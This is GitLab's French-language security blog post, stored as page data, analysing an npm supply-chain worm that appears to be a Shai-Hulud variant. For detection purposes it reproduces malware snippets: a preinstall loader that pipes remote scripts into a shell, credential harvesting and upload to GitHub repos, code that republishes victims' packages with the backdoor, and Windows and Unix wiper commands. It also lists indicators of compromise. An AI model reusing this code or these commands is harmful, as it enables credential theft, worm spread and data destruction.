[{"data":1,"prerenderedAt":805},["ShallowReactive",2],{"/fr-fr/blog/gitlab-discovers-widespread-npm-supply-chain-attack":3,"navigation-fr-fr":38,"banner-fr-fr":454,"footer-fr-fr":464,"blog-post-authors-fr-fr-Daniel Abeles|Michael Henriksen":702,"blog-related-posts-fr-fr-gitlab-discovers-widespread-npm-supply-chain-attack":728,"blog-promotions-fr-fr":744,"next-steps-fr-fr":796},{"id":4,"title":5,"authorSlugs":6,"body":9,"categorySlug":10,"config":11,"content":15,"description":9,"extension":27,"isFeatured":12,"meta":28,"navigation":29,"path":30,"publishedDate":19,"seo":31,"stem":34,"tagSlugs":35,"__hash__":37},"blogPosts/fr-fr/blog/gitlab-discovers-widespread-npm-supply-chain-attack.yml","Gitlab Discovers Widespread Npm Supply Chain Attack",[7,8],"daniel-abeles","michael-henriksen",null,"security-labs",{"featured":12,"template":13,"slug":14},false,"BlogPost","gitlab-discovers-widespread-npm-supply-chain-attack",{"tags":16,"category":10,"date":19,"heroImage":20,"title":21,"description":22,"authors":23,"body":26},[17,18],"security research","security","2025-11-25","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLab découvre une attaque généralisée de la chaîne d'approvisionnement npm","Le logiciel malveillant à l'origine de cette attaque comprend un mécanisme d'autodestruction capable de supprimer les données des utilisateurs.",[24,25],"Daniel Abeles","Michael Henriksen","L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une attaque active à grande échelle de la chaîne d'approvisionnement de l'écosystème npm au moyen d'un logiciel malveillant (« malware »). Notre système de surveillance interne a découvert plusieurs paquets infectés contenant ce qui semble être une version évoluée du malware « [Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem) ».\n\nLes premières analyses révèlent un comportement de propagation similaire à celui d'un ver qui infecte automatiquement d'autres paquets maintenus par les équipes de développement concernées. Plus important encore, nous avons découvert que le logiciel malveillant contenait un **mécanisme d'autodestruction** qui menaçait de détruire les données des utilisateurs si ses canaux de propagation et d'exfiltration étaient fermés.\n\n**Nous avons vérifié que GitLab n'utilisait aucun des paquets malveillants et partageons nos conclusions pour aider la communauté de sécurité à répondre efficacement à cette attaque.**\n\n## Analyse de l'attaque\n\nNotre système de surveillance interne, qui analyse les registres de paquets [open source](https://about.gitlab.com/fr-fr/blog/2025/04/16/what-is-open-source/ \"Qu'est-ce que l'open source ?\") à la recherche de paquets malveillants, a identifié plusieurs paquets npm infectés par un malware sophistiqué qui :\n\n* Collecte les identifiants de GitHub, npm, AWS, GCP et Azure.\n* Exfiltre les données volées vers des dépôts GitHub contrôlés par les attaquants.\n* Se propage en infectant automatiquement d'autres paquets appartenant aux victimes.\n* **Contient une charge utile destructrice qui se déclenche si le logiciel malveillant perd l'accès à son infrastructure.**\n\nBien que nous ayons confirmé plusieurs paquets infectés, le mécanisme de propagation, semblable à un ver, implique que de nombreux autres paquets sont probablement compromis. Notre analyse n'est pas terminée, et nous essayons de comprendre l'étendue complète de cette attaque.\n\n## Analyse technique : déroulement de l'attaque\n\n![Diagramme Mermaid qui illustre le déroulement de l'attaque](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### Vecteur d'infection initial\n\nLe logiciel malveillant infiltre les systèmes au moyen d'un processus de chargement en plusieurs étapes soigneusement conçu. Les paquets infectés contiennent un `package.json` modifié avec un script de pré-installation pointant vers `setup_bun.js`. Ce script semble anodin et prétend installer l'environnement d'exécution JavaScript Bun, un outil légitime. Cependant, son véritable objectif est d’établir l'environnement d'exécution du malware.\n\n```javascript\n// This file gets added to victim's packages as setup_bun.js\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // Downloads and installs bun\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // Runs the actual malware\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\nLe fichier `setup_bun.js` télécharge ou localise l'environnement d'exécution Bun sur le système, puis exécute la charge utile `bun_environment.js`, un fichier obfusqué de 10 Mo déjà présent dans le paquet infecté. Cette approche offre plusieurs couches d'évasion : le fichier est petit et semble légitime, tandis que le code malveillant réel est fortement obfusqué et regroupé dans un fichier trop volumineux pour une simple inspection.\n\n### Collecte des identifiants\n\nUne fois exécuté, le logiciel malveillant commence immédiatement à rechercher des identifiants dans plusieurs sources :\n\n* **Tokens GitHub** : il recherche dans les variables d'environnement et les configurations de l'interface de ligne de commande (CLI) GitHub les tokens commençant par `ghp_` (token d'accès personnel GitHub) ou `gho_` (token OAuth GitHub).\n* **Identifiants cloud** : il énumère les identifiants AWS, GCP et Azure à l'aide des SDK officiels et vérifie les variables d'environnement, les fichiers de configuration et les services de métadonnées.\n* **Tokens npm** : il extrait les tokens de publication de paquets des fichiers `.npmrc` et des variables d'environnement, qui sont des emplacements courants pour stocker de manière sécurisée des configurations et des identifiants sensibles.\n* **Analyse du système de fichiers** : il télécharge et exécute Trufflehog, un outil de sécurité légitime, pour analyser l'intégralité du répertoire personnel à la recherche de clés API, de mots de passe et d'autres secrets cachés dans les fichiers de configuration, le code source ou l'historique [git](https://about.gitlab.com/fr-fr/blog/2024/10/08/what-is-git/ \"Qu'est-ce que Git ?\").\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // Scan user's home directory for secrets\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // Upload findings to exfiltration repo\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### Réseau d'exfiltration de données\n\nLe logiciel malveillant utilise les tokens GitHub volés pour créer des dépôts publics avec un marqueur spécifique dans leur description : « Sha1-Hulud: The Second Coming. » Ces dépôts servent de boîtes de dépôt pour les identifiants volés et les informations système.\n\n```javascript\nasync function createRepo(name) {\n  // Creates a repository with a specific description marker\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // Marker for finding repos later\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // Install GitHub Actions runner for persistence\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // Installs self-hosted runner\n  }\n\n  return repo;\n}\n```\n\nSi le token GitHub initial ne possède pas les autorisations requises, le logiciel malveillant recherche d'autres dépôts compromis avec le même marqueur, ce qui lui permet de récupérer des tokens d'autres systèmes infectés. Il naît ainsi un réseau résilient de type « botnet » dans lequel les systèmes compromis partagent des tokens d'accès.\n\n```javascript\n// How the malware network shares tokens:\nasync fetchToken() {\n  // Search GitHub for repos with the identifying marker\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // Try to retrieve tokens from compromised repos\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // Use token from another infected system\n    }\n  }\n  return null;  // No valid tokens found in network\n}\n```\n\n### Propagation dans la chaîne d'approvisionnement\n\nEn utilisant les tokens npm volés, le logiciel malveillant :\n\n1. Télécharge tous les paquets maintenus par la victime.\n2. Injecte le fichier `setup_bun.js` dans les scripts de pré-installation de chaque paquet.\n3. Regroupe la charge utile malveillante `bun_environment.js`.\n4. Incrémente le numéro de version du paquet.\n5. Republie les paquets infectés sur npm.\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // Download original package\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // Extract and modify package.json\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // Add malicious preinstall script\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // Increment version\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // Bundle backdoor installer\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // Repackage and publish\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## Mécanisme d'autodestruction\n\nNotre analyse a révélé une charge utile destructrice conçue pour protéger l'infrastructure du logiciel malveillant contre les tentatives de neutralisation.\n\nLe malware surveille en permanence son accès à GitHub (pour l'exfiltration de données) et à npm (pour la propagation). Si un système infecté perd l'accès aux deux canaux simultanément, le logiciel malveillant déclenche la destruction immédiate des données sur la machine compromise. Sur Windows, il tente de supprimer tous les fichiers utilisateur et d'écraser les secteurs du disque. Sur les systèmes Unix, il utilise `shred` pour écraser les fichiers avant leur suppression, ce qui rend la récupération pratiquement impossible.\n\n```javascript\n// CRITICAL: Token validation failure triggers destruction\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // Try to find or create GitHub access\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // Search for tokens in compromised repos\n\n    if (!fetchedToken) {  // No GitHub access possible\n      if (npmToken) {\n        // Fallback to NPM propagation only\n        await El(npmToken);\n      } else {\n        // DESTRUCTION TRIGGER: No GitHub AND no NPM access\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // Attempts to delete all user files and overwrite disk sectors\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // Overwrite deleted data\n          ]);\n        } else {\n          // Attempts to shred all writable files in home directory\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // Overwrite and delete\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // Remove empty dirs\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nCe scénario est dangereux : si GitHub supprime en masse les dépôts du malware ou si npm révoque en masse les tokens compromis, des milliers de systèmes infectés pourraient simultanément détruire les données des utilisateurs. La nature distribuée de l'attaque signifie que chaque machine infectée surveille indépendamment l'accès et déclenche la suppression des données de l'utilisateur lorsqu'une neutralisation est détectée.\n\n\n## Indicateurs de compromission\n\n\nPour faciliter la détection et la réponse, vous retrouverez ci-dessous une liste plus complète des principaux indicateurs de compromission identifiés lors de notre analyse.\n\n\n| Type | Indicator | Description |\n| :---- | :---- | :---- |\n| **fichier** | `bun_environment.js` | Script post-installation malveillant dans les répertoires node_modules |\n| **répertoire** | `.truffler-cache/` | Répertoire caché créé dans le répertoire personnel de l'utilisateur pour le stockage du binaire Trufflehog |\n| **répertoire** | `.truffler-cache/extract/` | Répertoire temporaire utilisé pour l'extraction du binaire |\n| **fichier** | `.truffler-cache/trufflehog` | Binaire Trufflehog téléchargé (Linux/Mac) |\n| **fichier** | `.truffler-cache/trufflehog.exe` | Binaire Trufflehog téléchargé (Windows) |\n| **processus** | `del /F /Q /S \"%USERPROFILE%*\"` | Commande de charge utile destructrice Windows |\n| **processus** | `shred -uvz -n 1` | Commande de charge utile destructrice Linux/Mac |\n| **processus** | `cipher /W:%USERPROFILE%` | Commande de suppression sécurisée Windows dans la charge utile |\n| **commande** | `curl -fsSL https://bun.sh/install \\| bash` | Installation Bun suspecte pendant l'installation du paquet NPM |\n| **commande** | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | Installation de Bun sous Windows via PowerShell |\n## Comment GitLab peut-elle vous aider à détecter cette attaque ?\n\nSi vous utilisez GitLab Ultimate, vous pouvez exploiter les capacités de sécurité intégrées pour identifier immédiatement l'exposition liée à cette attaque au sein de vos projets.\n\nTout d'abord, activez l'[**analyse des dépendances**](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/) pour analyser automatiquement les dépendances de votre projet par rapport aux bases de données de vulnérabilités connues. **Si des paquets infectés sont présents dans vos fichiers `package-lock.json` ou `yarn.lock`, l'analyse des dépendances les signalera dans les résultats de votre pipeline et dans le rapport de vulnérabilités.** Pour obtenir des instructions complètes de configuration, consultez notre [documentation](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer).\n\nUne fois activées, les merge requests qui introduisent un paquet compromis afficheront un avertissement avant que le code n'atteigne votre branche principale.\n\n**[GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/)** peut être également utilisé avec l'analyse des dépendances afin de vérifier rapidement l'exposition de votre projet sans naviguer dans les rapports.\n\nDans le menu déroulant, sélectionnez l'[agent Security Analyst](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/) et posez des questions comme :\n* « Est-ce que l'une de mes dépendances est affectée par l'attaque de logiciels malveillants Shai-Hulud v2 ? »\n* « Ce projet a-t-il des vulnérabilités liées à la chaîne d'approvisionnement npm ? »\n* « Montre-moi les vulnérabilités critiques dans mes dépendances JavaScript. »\n\nL'agent interrogera les données de vulnérabilité de votre projet et fournira une réponse directe afin d'aider les équipes de sécurité à identifier rapidement les projets impactés.\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png\" alt=\"Résultats de l'agent analyste de sécurité GitLab\">\n\nPour les équipes qui gèrent de nombreux dépôts, nous recommandons de combiner l'analyse des dépendances pour une détection automatisée continue dans le [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/) et l'agent Security Analyst pour des investigations ponctuelles et une réponse rapide lors d'incidents comme celui-ci.\n## Et après ?\n\nCette attaque représente une évolution dans les attaques de la chaîne d'approvisionnement, car la menace de dommages collatéraux devient le principal mécanisme de défense de l'infrastructure des attaquants. Nous poursuivons notre enquête et collaborons avec la communauté afin de comprendre l'étendue complète de cette attaque et de développer des stratégies de correction sûres.\n\nLes systèmes de détection automatisés de GitLab continuent de surveiller les nouvelles infections et les variantes de cette attaque. En partageant nos conclusions rapidement, nous espérons aider la communauté à répondre efficacement tout en évitant les pièges créés par le mécanisme d'autodestruction du logiciel malveillant.","yml",{},true,"/fr-fr/blog/gitlab-discovers-widespread-npm-supply-chain-attack",{"config":32,"ogImage":20,"title":33,"description":22},{"noIndex":12},"GitLab découvre une attaque sur npm","fr-fr/blog/gitlab-discovers-widespread-npm-supply-chain-attack",[36,18],"security-research","ZyrYy86_z_czNBNlLoCb4pA4T686j09XlqkGOyvLcfo",{"data":39},{"logo":40,"freeTrial":45,"sales":50,"login":55,"items":60,"search":370,"minimal":405,"duo":424,"switchNav":433,"pricingDeployment":444},{"config":41},{"href":42,"dataGaName":43,"dataGaLocation":44},"/fr-fr/","gitlab logo","header",{"text":46,"config":47},"Commencer un essai gratuit",{"href":48,"dataGaName":49,"dataGaLocation":44},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr&glm_content=default-saas-trial/","free trial",{"text":51,"config":52},"Contacter l'équipe commerciale",{"href":53,"dataGaName":54,"dataGaLocation":44},"/fr-fr/sales/","sales",{"text":56,"config":57},"Connexion",{"href":58,"dataGaName":59,"dataGaLocation":44},"https://gitlab.com/users/sign_in/","sign in",[61,88,185,190,291,351],{"text":62,"config":63,"cards":65},"Plateforme",{"dataNavLevelOne":64},"platform",[66,72,80],{"title":62,"description":67,"link":68},"La plateforme d'orchestration intelligente pour le DevSecOps",{"text":69,"config":70},"Explorer notre plateforme",{"href":71,"dataGaName":64,"dataGaLocation":44},"/fr-fr/platform/",{"title":73,"description":74,"link":75},"GitLab Duo Agent Platform","L'IA agentique pour l'ensemble du cycle de développement logiciel",{"text":76,"config":77},"Découvrir GitLab Duo",{"href":78,"dataGaName":79,"dataGaLocation":44},"/fr-fr/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":81,"description":82,"link":83},"Pourquoi GitLab ?","Découvrez les principales raisons pour lesquelles les entreprises choisissent GitLab",{"text":84,"config":85},"En savoir plus",{"href":86,"dataGaName":87,"dataGaLocation":44},"/fr-fr/why-gitlab/","why gitlab",{"text":89,"left":29,"config":90,"link":92,"lists":96,"footer":167},"Produit",{"dataNavLevelOne":91},"solutions",{"text":93,"config":94},"Voir toutes les solutions",{"href":95,"dataGaName":91,"dataGaLocation":44},"/fr-fr/solutions/",[97,122,145],{"title":98,"description":99,"link":100,"items":105},"Automatisation","CI/CD et automatisation pour accélérer le déploiement",{"config":101},{"icon":102,"href":103,"dataGaName":104,"dataGaLocation":44},"AutomatedCodeAlt","/fr-fr/solutions/delivery-automation/","automated software delivery",[106,110,113,118],{"text":107,"config":108},"CI/CD",{"href":109,"dataGaLocation":44,"dataGaName":107},"/fr-fr/solutions/continuous-integration/",{"text":73,"config":111},{"href":78,"dataGaLocation":44,"dataGaName":112},"gitlab duo agent platform - product menu",{"text":114,"config":115},"Gestion du code source",{"href":116,"dataGaLocation":44,"dataGaName":117},"/fr-fr/solutions/source-code-management/","Source Code Management",{"text":119,"config":120},"Livraison de logiciels automatisée",{"href":103,"dataGaLocation":44,"dataGaName":121},"Automated software delivery",{"title":123,"description":124,"link":125,"items":130},"Sécurité","Livrez du code plus rapidement sans compromettre la sécurité",{"config":126},{"href":127,"dataGaName":128,"dataGaLocation":44,"icon":129},"/fr-fr/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[131,135,140],{"text":132,"config":133},"Tests de sécurité des applications",{"href":127,"dataGaName":134,"dataGaLocation":44},"Application security testing",{"text":136,"config":137},"Sécurité de la chaîne d'approvisionnement logicielle",{"href":138,"dataGaLocation":44,"dataGaName":139},"/fr-fr/solutions/supply-chain/","Software supply chain security",{"text":141,"config":142},"Conformité logicielle",{"href":143,"dataGaName":144,"dataGaLocation":44},"/fr-fr/solutions/software-compliance/","software compliance",{"title":146,"link":147,"items":152},"Mesures",{"config":148},{"icon":149,"href":150,"dataGaName":151,"dataGaLocation":44},"DigitalTransformation","/fr-fr/solutions/visibility-measurement/","visibility and measurement",[153,157,162],{"text":154,"config":155},"Visibilité et mesures",{"href":150,"dataGaLocation":44,"dataGaName":156},"Visibility and Measurement",{"text":158,"config":159},"Gestion de la chaîne de valeur",{"href":160,"dataGaLocation":44,"dataGaName":161},"/fr-fr/solutions/value-stream-management/","Value Stream Management",{"text":163,"config":164},"Données d'analyse et informations clés",{"href":165,"dataGaLocation":44,"dataGaName":166},"/fr-fr/solutions/analytics-and-insights/","Analytics and insights",{"title":168,"items":169},"GitLab",[170,175,180],{"text":171,"config":172},"Pour les entreprises",{"href":173,"dataGaLocation":44,"dataGaName":174},"/fr-fr/enterprise/","enterprise",{"text":176,"config":177},"Pour les PME",{"href":178,"dataGaLocation":44,"dataGaName":179},"/fr-fr/small-business/","small business",{"text":181,"config":182},"Pour le secteur public",{"href":183,"dataGaLocation":44,"dataGaName":184},"/fr-fr/solutions/public-sector/","public sector",{"text":186,"config":187},"Tarifs",{"href":188,"dataGaName":189,"dataGaLocation":44,"dataNavLevelOne":189},"/fr-fr/pricing/","pricing",{"text":191,"config":192,"link":194,"lists":198,"feature":278},"Ressources",{"dataNavLevelOne":193},"resources",{"text":195,"config":196},"Afficher toutes les ressources",{"href":197,"dataGaName":193,"dataGaLocation":44},"/fr-fr/resources/",[199,232,250],{"title":200,"items":201},"Premiers pas",[202,207,212,217,222,227],{"text":203,"config":204},"Installation",{"href":205,"dataGaName":206,"dataGaLocation":44},"/fr-fr/install/","install",{"text":208,"config":209},"Guides de démarrage",{"href":210,"dataGaName":211,"dataGaLocation":44},"/fr-fr/get-started/","quick setup checklists",{"text":213,"config":214},"Apprentissage",{"href":215,"dataGaLocation":44,"dataGaName":216},"https://university.gitlab.com/","learn",{"text":218,"config":219},"Documentation",{"href":220,"dataGaName":221,"dataGaLocation":44},"https://docs.gitlab.com/","product documentation",{"text":223,"config":224},"Vidéos sur les bonnes pratiques",{"href":225,"dataGaName":226,"dataGaLocation":44},"/fr-fr/getting-started-videos/","best practice videos",{"text":228,"config":229},"Intégrations",{"href":230,"dataGaName":231,"dataGaLocation":44},"/fr-fr/integrations/","integrations",{"title":233,"items":234},"Découvrir",[235,240,245],{"text":236,"config":237},"Témoignages clients",{"href":238,"dataGaName":239,"dataGaLocation":44},"/fr-fr/customers/","customer success stories",{"text":241,"config":242},"Blog",{"href":243,"dataGaName":244,"dataGaLocation":44},"/fr-fr/blog/","blog",{"text":246,"config":247},"Travail à distance",{"href":248,"dataGaName":249,"dataGaLocation":44},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":251,"items":252},"Connecter",[253,258,263,268,273],{"text":254,"config":255},"Services GitLab",{"href":256,"dataGaName":257,"dataGaLocation":44},"/fr-fr/services/","services",{"text":259,"config":260},"Communauté",{"href":261,"dataGaName":262,"dataGaLocation":44},"/community/","community",{"text":264,"config":265},"Forum",{"href":266,"dataGaName":267,"dataGaLocation":44},"https://forum.gitlab.com/","forum",{"text":269,"config":270},"Événements",{"href":271,"dataGaName":272,"dataGaLocation":44},"/events/","events",{"text":274,"config":275},"Partenaires",{"href":276,"dataGaName":277,"dataGaLocation":44},"/fr-fr/partners/","partners",{"backgroundColor":279,"textColor":280,"text":281,"image":282,"link":286},"#2f2a6b","#fff","L'avenir du développement logiciel. Tendances et perspectives.",{"altText":283,"config":284},"carte promo The Source",{"src":285},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":287,"config":288},"Lire les articles les plus récents",{"href":289,"dataGaName":290,"dataGaLocation":44},"/fr-fr/the-source/","the source",{"text":292,"config":293,"lists":295},"Société",{"dataNavLevelOne":294},"company",[296],{"items":297},[298,303,309,311,316,321,326,331,336,341,346],{"text":299,"config":300},"À propos",{"href":301,"dataGaName":302,"dataGaLocation":44},"/fr-fr/company/","about",{"text":304,"config":305,"footerGa":308},"Carrières",{"href":306,"dataGaName":307,"dataGaLocation":44},"/jobs/","jobs",{"dataGaName":307},{"text":269,"config":310},{"href":271,"dataGaName":272,"dataGaLocation":44},{"text":312,"config":313},"Leadership",{"href":314,"dataGaName":315,"dataGaLocation":44},"/company/team/e-group/","leadership",{"text":317,"config":318},"Équipe",{"href":319,"dataGaName":320,"dataGaLocation":44},"/company/team/","team",{"text":322,"config":323},"Manuel",{"href":324,"dataGaName":325,"dataGaLocation":44},"https://handbook.gitlab.com/","handbook",{"text":327,"config":328},"Relations avec les investisseurs",{"href":329,"dataGaName":330,"dataGaLocation":44},"https://ir.gitlab.com/","investor relations",{"text":332,"config":333},"Trust Center",{"href":334,"dataGaName":335,"dataGaLocation":44},"/fr-fr/security/","trust center",{"text":337,"config":338},"Centre pour la transparence de l'IA",{"href":339,"dataGaName":340,"dataGaLocation":44},"/fr-fr/ai-transparency-center/","ai transparency center",{"text":342,"config":343},"Newsletter",{"href":344,"dataGaName":345,"dataGaLocation":44},"/company/contact/#contact-forms","newsletter",{"text":347,"config":348},"Presse",{"href":349,"dataGaName":350,"dataGaLocation":44},"/press/","press",{"text":352,"config":353,"lists":354},"Nous contacter",{"dataNavLevelOne":294},[355],{"items":356},[357,360,365],{"text":51,"config":358},{"href":53,"dataGaName":359,"dataGaLocation":44},"talk to sales",{"text":361,"config":362},"Assistance GitLab",{"href":363,"dataGaName":364,"dataGaLocation":44},"https://support.gitlab.com","support portal",{"text":366,"config":367},"Portail clients GitLab",{"href":368,"dataGaName":369,"dataGaLocation":44},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":371,"login":372,"suggestions":379},"Fermer",{"text":373,"link":374},"Pour rechercher des dépôts et des projets, connectez-vous à",{"text":375,"config":376},"GitLab.com",{"href":58,"dataGaName":377,"dataGaLocation":378},"search login","search",{"text":380,"default":381},"Suggestions",[382,384,389,391,396,401],{"text":73,"config":383},{"href":78,"dataGaName":73,"dataGaLocation":378},{"text":385,"config":386},"Suggestions de code (IA)",{"href":387,"dataGaName":388,"dataGaLocation":378},"/fr-fr/solutions/code-suggestions/","Code Suggestions (AI)",{"text":107,"config":390},{"href":109,"dataGaName":107,"dataGaLocation":378},{"text":392,"config":393},"GitLab sur AWS",{"href":394,"dataGaName":395,"dataGaLocation":378},"/fr-fr/partners/technology-partners/aws/","GitLab on AWS",{"text":397,"config":398},"GitLab sur Google Cloud",{"href":399,"dataGaName":400,"dataGaLocation":378},"/fr-fr/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":402,"config":403},"Pourquoi utiliser GitLab ?",{"href":86,"dataGaName":404,"dataGaLocation":378},"Why GitLab?",{"freeTrial":406,"mobileIcon":411,"desktopIcon":416,"secondaryButton":419},{"text":407,"config":408},"Commencer votre essai gratuit",{"href":409,"dataGaName":49,"dataGaLocation":410},"https://gitlab.com/-/trials/new/","nav",{"altText":412,"config":413},"Icône GitLab",{"src":414,"dataGaName":415,"dataGaLocation":410},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":412,"config":417},{"src":418,"dataGaName":415,"dataGaLocation":410},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":420,"config":421},"Commencer",{"href":422,"dataGaName":423,"dataGaLocation":410},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr/get-started/","get started",{"freeTrial":425,"mobileIcon":429,"desktopIcon":431},{"text":426,"config":427},"En savoir plus sur GitLab Duo",{"href":78,"dataGaName":428,"dataGaLocation":410},"gitlab duo",{"altText":412,"config":430},{"src":414,"dataGaName":415,"dataGaLocation":410},{"altText":412,"config":432},{"src":418,"dataGaName":415,"dataGaLocation":410},{"button":434,"mobileIcon":439,"desktopIcon":441},{"text":435,"config":436},"/switch",{"href":437,"dataGaName":438,"dataGaLocation":410},"#contact","switch",{"altText":412,"config":440},{"src":414,"dataGaName":415,"dataGaLocation":410},{"altText":412,"config":442},{"src":443,"dataGaName":415,"dataGaLocation":410},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":445,"mobileIcon":450,"desktopIcon":452},{"text":446,"config":447},"Retour aux tarifs",{"href":188,"dataGaName":448,"dataGaLocation":410,"icon":449},"back to pricing","GoBack",{"altText":412,"config":451},{"src":414,"dataGaName":415,"dataGaLocation":410},{"altText":412,"config":453},{"src":418,"dataGaName":415,"dataGaLocation":410},{"title":455,"button":456,"config":461},"Découvrez comment l'IA agentique transforme la livraison logicielle",{"text":457,"config":458},"Regarder GitLab Transcend maintenant",{"href":459,"dataGaName":460,"dataGaLocation":44},"/fr-fr/events/transcend/virtual/","transcend event",{"layout":462,"icon":463,"disabled":29},"release","AiStar",{"data":465},{"text":466,"source":467,"edit":473,"contribute":478,"config":483,"items":488,"minimal":693},"Git est une marque déposée de Software Freedom Conservancy et notre utilisation de « GitLab » est sous licence.",{"text":468,"config":469},"Afficher le code source de la page",{"href":470,"dataGaName":471,"dataGaLocation":472},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":474,"config":475},"Modifier cette page",{"href":476,"dataGaName":477,"dataGaLocation":472},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":479,"config":480},"Veuillez contribuer",{"href":481,"dataGaName":482,"dataGaLocation":472},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":484,"facebook":485,"youtube":486,"linkedin":487},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[489,534,587,631,658],{"title":186,"links":490,"subMenu":505},[491,495,500],{"text":492,"config":493},"Voir les forfaits",{"href":188,"dataGaName":494,"dataGaLocation":472},"view plans",{"text":496,"config":497},"GitLab Premium",{"href":498,"dataGaName":499,"dataGaLocation":472},"/fr-fr/pricing/premium/","why premium",{"text":501,"config":502},"GitLab Ultimate",{"href":503,"dataGaName":504,"dataGaLocation":472},"/fr-fr/pricing/ultimate/","why ultimate",[506],{"title":352,"links":507},[508,510,512,514,519,524,529],{"text":51,"config":509},{"href":53,"dataGaName":54,"dataGaLocation":472},{"text":361,"config":511},{"href":363,"dataGaName":364,"dataGaLocation":472},{"text":366,"config":513},{"href":368,"dataGaName":369,"dataGaLocation":472},{"text":515,"config":516},"Statut",{"href":517,"dataGaName":518,"dataGaLocation":472},"https://status.gitlab.com/","status",{"text":520,"config":521},"Conditions d'utilisation",{"href":522,"dataGaName":523,"dataGaLocation":472},"/terms/","terms of use",{"text":525,"config":526},"Politique de confidentialité",{"href":527,"dataGaName":528,"dataGaLocation":472},"/fr-fr/privacy/","privacy statement",{"text":530,"config":531},"Gérer vos cookies",{"dataGaName":532,"dataGaLocation":472,"id":533,"isOneTrustButton":29},"cookie preferences","ot-sdk-btn",{"title":89,"links":535,"subMenu":544},[536,540],{"text":537,"config":538},"Plateforme DevSecOps",{"href":71,"dataGaName":539,"dataGaLocation":472},"devsecops platform",{"text":541,"config":542},"Développement assisté par l'IA",{"href":78,"dataGaName":543,"dataGaLocation":472},"ai-assisted 